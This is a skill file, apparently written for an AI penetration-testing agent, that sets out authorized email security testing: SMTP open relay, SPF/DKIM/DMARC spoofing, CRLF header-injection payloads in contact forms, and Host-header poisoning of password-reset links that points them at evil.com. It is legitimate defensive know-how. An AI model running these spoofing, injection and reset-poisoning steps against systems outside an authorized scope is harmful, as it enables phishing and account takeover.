--- name: performing-email-security-testing description: Offensive email security assessment covering SMTP open relay, SPF/DKIM/DMARC bypass, email header injection, and email-based attack vectors during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - email-security - smtp-testing - spf-bypass - dmarc-testing - email-spoofing - header-injection version: '1.0' author: Krishna Kumar (xalgord) license: Apache-2.0 --- # Performing Email Security Testing ## When to Use - During Phase 15 (Email Security Testing) of the methodology - When the target has email infrastructure (MX records, webmail, contact forms) - When testing for email spoofing or phishing susceptibility - When the application handles email input (forms, notifications, password resets) - When testing email-based authentication flows (magic links, OTP via email) ### How to CONFIRM a Hit (avoid false negatives) - **Positive signal**: a spoofed message actually **passes/bypasses SPF, DKIM, and DMARC and is delivered** to the inbox; an open relay actually **delivers** a third-party message; or CRLF header injection actually **adds a recipient/header** in the received mail. - Confirm by delivery to your controlled test inbox (agentmail) and by reading the **received `Authentication-Results` headers** (spf=pass/none, dmarc=pass/none) — a DNS record showing `~all`/`p=none` is suggestive but delivery is the proof. - An SMTP `250 OK` alone is NOT a hit (it may be quarantined or silently dropped); one rejection is NOT a clean negative until policy and relay paths are exercised. - Do NOT conclude "not vulnerable" until you have: - Checked SPF (`~all`/`?all`/`+all`/absent), DMARC (`p=none`/absent, weak `sp=`/`pct=`), and DKIM selectors — then **sent a real spoof** to confirm inbox delivery. - Tried **open-relay** with an external `MAIL FROM` and confirmed delivery, on ports 25/465/587. - Tried **header injection** via web forms (all CRLF encodings/fields) and confirmed an injected `Bcc`/`Cc` arrived. - Tested **Host-header poisoning** of reset links (verify the link in the delivered email uses the attacker host) and token predictability/reuse. ## Prerequisites - **Authorization**: Written scope covering email infrastructure testing - **agentmail**: ALWAYS use agentmail for test addresses (never use external emails) - **dig/nslookup**: DNS record enumeration - **swaks**: Swiss Army Knife for SMTP (`apt install swaks`) - **nmap**: For SMTP service enumeration - **curl**: For testing web-to-email functionality - **openssl**: For TLS/STARTTLS testing ## Workflow ### Step 1: Email Infrastructure Enumeration Map the target's email ecosystem before testing. ```bash # === MX RECORD DISCOVERY === dig MX target.example.com +short # Example output: # 10 mx1.target.example.com. # 20 mx2.target.example.com. # === SPF RECORD CHECK === dig TXT target.example.com +short | grep "v=spf1" # Analyze SPF strictness: # ~all = soft fail (can be bypassed) # -all = hard fail (strict, good) # ?all = neutral (no enforcement) # +all = allow all (MISCONFIGURATION) # No SPF = NO protection # === DMARC RECORD CHECK === dig TXT _dmarc.target.example.com +short # Analyze DMARC policy: # p=none → monitoring only, no enforcement (WEAK) # p=quarantine → suspicious mail goes to spam # p=reject → spoofed mail is blocked (STRONG) # No DMARC record → NO protection # === DKIM RECORD CHECK === # Common DKIM selectors to try for SELECTOR in default google s1 s2 k1 selector1 selector2 dkim mail; do RESULT=$(dig TXT ${SELECTOR}._domainkey.target.example.com +short 2>/dev/null) if [ -n "$RESULT" ]; then echo "DKIM found: ${SELECTOR}._domainkey.target.example.com" echo "$RESULT" fi done # === SMTP SERVICE ENUMERATION === for MX in $(dig MX target.example.com +short | awk '{print $2}'); do echo "=== $MX ===" nmap -sV -p 25,465,587 "$MX" --script smtp-commands,smtp-enum-users done # === WEBMAIL DISCOVERY === for PREFIX in mail webmail email owa outlook autodiscover; do CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${PREFIX}.target.example.com" 2>/dev/null) if [ "$CODE" != "000" ] && [ "$CODE" != "404" ]; then echo "Found: https://${PREFIX}.target.example.com → HTTP $CODE" fi done ``` ### Step 2: SMTP Open Relay Testing Test if the mail server allows unauthenticated relay. ```bash # === IMPORTANT: Use agentmail for all test addresses === # Create test inbox first: # agentmail action=create_inbox name=smtp_relay_test # === MANUAL SMTP RELAY TEST === # Connect to target SMTP server # WARNING: Only test with agentmail addresses as recipient ( sleep 1; echo "EHLO test.example.com" sleep 1; echo "MAIL FROM:" sleep 1; echo "RCPT TO:" sleep 1; echo "DATA" sleep 1; echo "Subject: Open Relay Test" sleep 1; echo "" sleep 1; echo "This is an open relay test." sleep 1; echo "." sleep 1; echo "QUIT" ) | openssl s_client -connect mx1.target.example.com:25 -starttls smtp 2>/dev/null # === SWAKS RELAY TEST (easier) === swaks --to YOUR_AGENTMAIL_ADDRESS \ --from spoofed@external-domain.com \ --server mx1.target.example.com \ --port 25 \ --body "Open relay test - authorized pentest" \ --header "Subject: Open Relay Test" # Check for relay results: # 250 OK → OPEN RELAY (Critical vulnerability) # 550/554 Relaying denied → Properly configured # 421 → Rate limited or blocked # === VERIFY: Check if email was delivered === # agentmail action=wait_for_email inbox_id=INBOX_ID subject="Open Relay" timeout=120 ``` ### Step 3: Email Spoofing Assessment Test if the domain is susceptible to email spoofing. ```bash # === SPF BYPASS TESTING === # Test 1: No SPF record → complete spoofing possible SPF=$(dig TXT target.example.com +short | grep "v=spf1") if [ -z "$SPF" ]; then echo "CRITICAL: No SPF record — domain is fully spoofable" fi # Test 2: SPF with ~all (softfail) → spoofing may work echo "$SPF" | grep "~all" && echo "WARN: SPF softfail — spoofing may bypass filters" # Test 3: SPF with +all → allows any sender echo "$SPF" | grep "+all" && echo "CRITICAL: SPF +all — explicitly allows spoofing" # === DMARC BYPASS ASSESSMENT === DMARC=$(dig TXT _dmarc.target.example.com +short) if [ -z "$DMARC" ]; then echo "CRITICAL: No DMARC record — no email authentication enforcement" elif echo "$DMARC" | grep -q "p=none"; then echo "WARN: DMARC p=none — monitoring only, spoofed email will be delivered" elif echo "$DMARC" | grep -q "p=quarantine"; then echo "INFO: DMARC p=quarantine — spoofed email goes to spam (partial protection)" elif echo "$DMARC" | grep -q "p=reject"; then echo "GOOD: DMARC p=reject — spoofed email will be blocked" fi # Check DMARC subdomain policy echo "$DMARC" | grep -oP 'sp=\w+' || echo "WARN: No subdomain policy — defaults to p= value" # Check DMARC percentage echo "$DMARC" | grep -oP 'pct=\d+' || echo "INFO: No pct tag — defaults to 100%" # === PRACTICAL SPOOFING TEST (to your own agentmail) === swaks --to YOUR_AGENTMAIL_ADDRESS \ --from ceo@target.example.com \ --server mx1.target.example.com \ --body "Spoofing test - authorized assessment" \ --header "Subject: SPF/DMARC Spoofing Test" \ --header "Reply-To: attacker@evil.com" # Check delivery + analyze received headers for SPF/DMARC results # agentmail action=wait_for_email inbox_id=INBOX_ID subject="Spoofing Test" timeout=120 ``` ### Step 4: Email Header Injection via Web Forms Test web application email functionality for header injection. ```bash # === CONTACT FORM HEADER INJECTION === # Target: forms that send emails (contact, feedback, newsletter signup) # Test 1: CRLF injection in email field curl -s -X POST "https://target.example.com/api/contact" \ -H "Content-Type: application/json" \ -d '{ "email": "test@example.com\r\nBcc: YOUR_AGENTMAIL_ADDRESS", "message": "Header injection test" }' # Test 2: Newline injection in name/subject fields curl -s -X POST "https://target.example.com/api/contact" \ -H "Content-Type: application/json" \ -d '{ "name": "Test\r\nBcc: YOUR_AGENTMAIL_ADDRESS", "email": "test@example.com", "message": "Header injection test" }' # Test 3: CC/BCC injection via additional headers curl -s -X POST "https://target.example.com/api/contact" \ -H "Content-Type: application/json" \ -d '{ "email": "test@example.com%0ACc:YOUR_AGENTMAIL_ADDRESS", "message": "URL-encoded header injection test" }' # Test 4: Body injection (multi-part) curl -s -X POST "https://target.example.com/api/contact" \ -H "Content-Type: application/json" \ -d '{ "email": "test@example.com", "message": "Normal message\r\n\r\nContent-Type: text/html\r\n\r\n

Injected HTML

" }' # === VERIFY: Check if injected headers were processed === # agentmail action=wait_for_email inbox_id=INBOX_ID timeout=120 ``` ### Step 5: Password Reset Email Security Test for vulnerabilities in password reset flows. ```bash # === HOST HEADER POISONING IN PASSWORD RESET === # Attempt to redirect password reset links to attacker domain curl -s -X POST "https://target.example.com/api/forgot-password" \ -H "Host: evil.com" \ -H "Content-Type: application/json" \ -d '{"email": "victim@target.example.com"}' # Check if reset link uses evil.com as base URL # agentmail action=wait_for_email inbox_id=INBOX_ID subject="password" timeout=120 # === RESET TOKEN ANALYSIS === # Request multiple reset tokens and analyze patterns for i in $(seq 1 5); do curl -s -X POST "https://target.example.com/api/forgot-password" \ -H "Content-Type: application/json" \ -d "{\"email\": \"$AGENTMAIL_ADDRESS\"}" sleep 2 done # Collect tokens and check for: # - Sequential/predictable tokens # - Short tokens (< 32 chars) # - Tokens that don't expire # - Tokens reusable after password change # === USER ENUMERATION VIA RESET === # Check if different responses for valid vs invalid emails for EMAIL in "existing@target.example.com" "nonexistent@target.example.com" \ "admin@target.example.com" "root@target.example.com"; do echo -n "$EMAIL → " curl -s -o /dev/null -w "%{http_code} %{size_download}" \ -X POST "https://target.example.com/api/forgot-password" \ -H "Content-Type: application/json" \ -d "{\"email\": \"$EMAIL\"}" echo done # Different response codes/sizes → user enumeration vulnerability ``` ### Step 6: SMTP STARTTLS and Encryption Testing ```bash # === TLS CONFIGURATION CHECK === for PORT in 25 465 587; do echo "=== Port $PORT ===" echo "QUIT" | openssl s_client -connect mx1.target.example.com:$PORT \ -starttls smtp 2>/dev/null | \ grep -E "Protocol|Cipher|Server certificate" done # === CHECK FOR DOWNGRADE ATTACKS === # Test if server accepts non-TLS connections on port 25 (echo "EHLO test"; sleep 1; echo "QUIT") | \ nc mx1.target.example.com 25 2>/dev/null | grep -i "STARTTLS" # If STARTTLS is optional (not enforced) → susceptible to downgrade ``` ## Key Concepts | Concept | Description | |---------|-------------| | **SPF** | Sender Policy Framework — specifies which IPs can send email for a domain | | **DKIM** | DomainKeys Identified Mail — cryptographic signature verifying email sender | | **DMARC** | Domain-based Message Authentication — policy for handling SPF/DKIM failures | | **Open Relay** | SMTP server that relays email from unauthenticated senders (Critical) | | **Email Header Injection** | Injecting CRLF to add Bcc/Cc headers via web forms | | **Host Header Poisoning** | Manipulating Host header to redirect password reset links | | **STARTTLS Downgrade** | Forcing SMTP connection to plaintext by stripping TLS negotiation | ## Common Scenarios | Scenario | Impact | Proof | |----------|--------|-------| | No SPF record | Anyone can spoof emails from domain | `dig TXT domain` shows no v=spf1 | | DMARC p=none | Spoofed emails delivered to inbox | Email delivered to agentmail with spoofed From | | Open SMTP relay | Spam/phishing relay through target server | Email delivered via relay to agentmail | | Header injection in contact form | Attacker controls email recipients | BCC injection delivers to agentmail | | Predictable reset tokens | Account takeover via token prediction | Sequential tokens with < 32 bit entropy | | Host header password reset poisoning | Reset link points to attacker domain | Reset email contains evil.com URL | ## Output Format ``` ## Email Security Finding **Vulnerability**: Missing DMARC Policy — Domain Spoofable **Severity**: Medium (CVSS 5.3) **Location**: _dmarc.target.example.com (DNS) **Type**: Email Authentication Misconfiguration ### Evidence - SPF Record: v=spf1 include:_spf.google.com ~all (SOFTFAIL) - DMARC Record: NONE (no _dmarc TXT record exists) - DKIM: Selector 'google' found with valid key ### Exploitation Proof Successfully sent spoofed email as ceo@target.example.com to test inbox. Email was delivered without any authentication warnings because no DMARC policy exists to enforce SPF/DKIM. ### Impact - Attackers can send phishing emails appearing to come from target.example.com - No mechanism to reject or quarantine spoofed messages - Combined with social engineering, enables targeted spearphishing ### Recommendation 1. Implement DMARC: _dmarc.target.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@target.example.com" 2. Change SPF from ~all (softfail) to -all (hardfail) 3. Enable DMARC reporting to monitor authentication failures 4. Consider implementing BIMI for visual email authentication ``` --- Source attribution: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/performing-email-security-testing/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Dave AI. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. 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See the License for the specific language governing permissions and limitations under the License. # Dave AI resource metadata Creator / publisher: xalgord Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/web-application-security/performing-email-security-testing/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering, Sales, Customer Support Roles: Customer Success Manager, Sales Engineer, Sales Development Rep (SDR), Security Engineer, Technical Support Specialties: Specialty not specified Tools: Curl, Dig, Nmap, Openssl, Swaks Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: 31cf5ccae79f38696a802bd219681b082975633245ba1199dc198dc88aa4e90e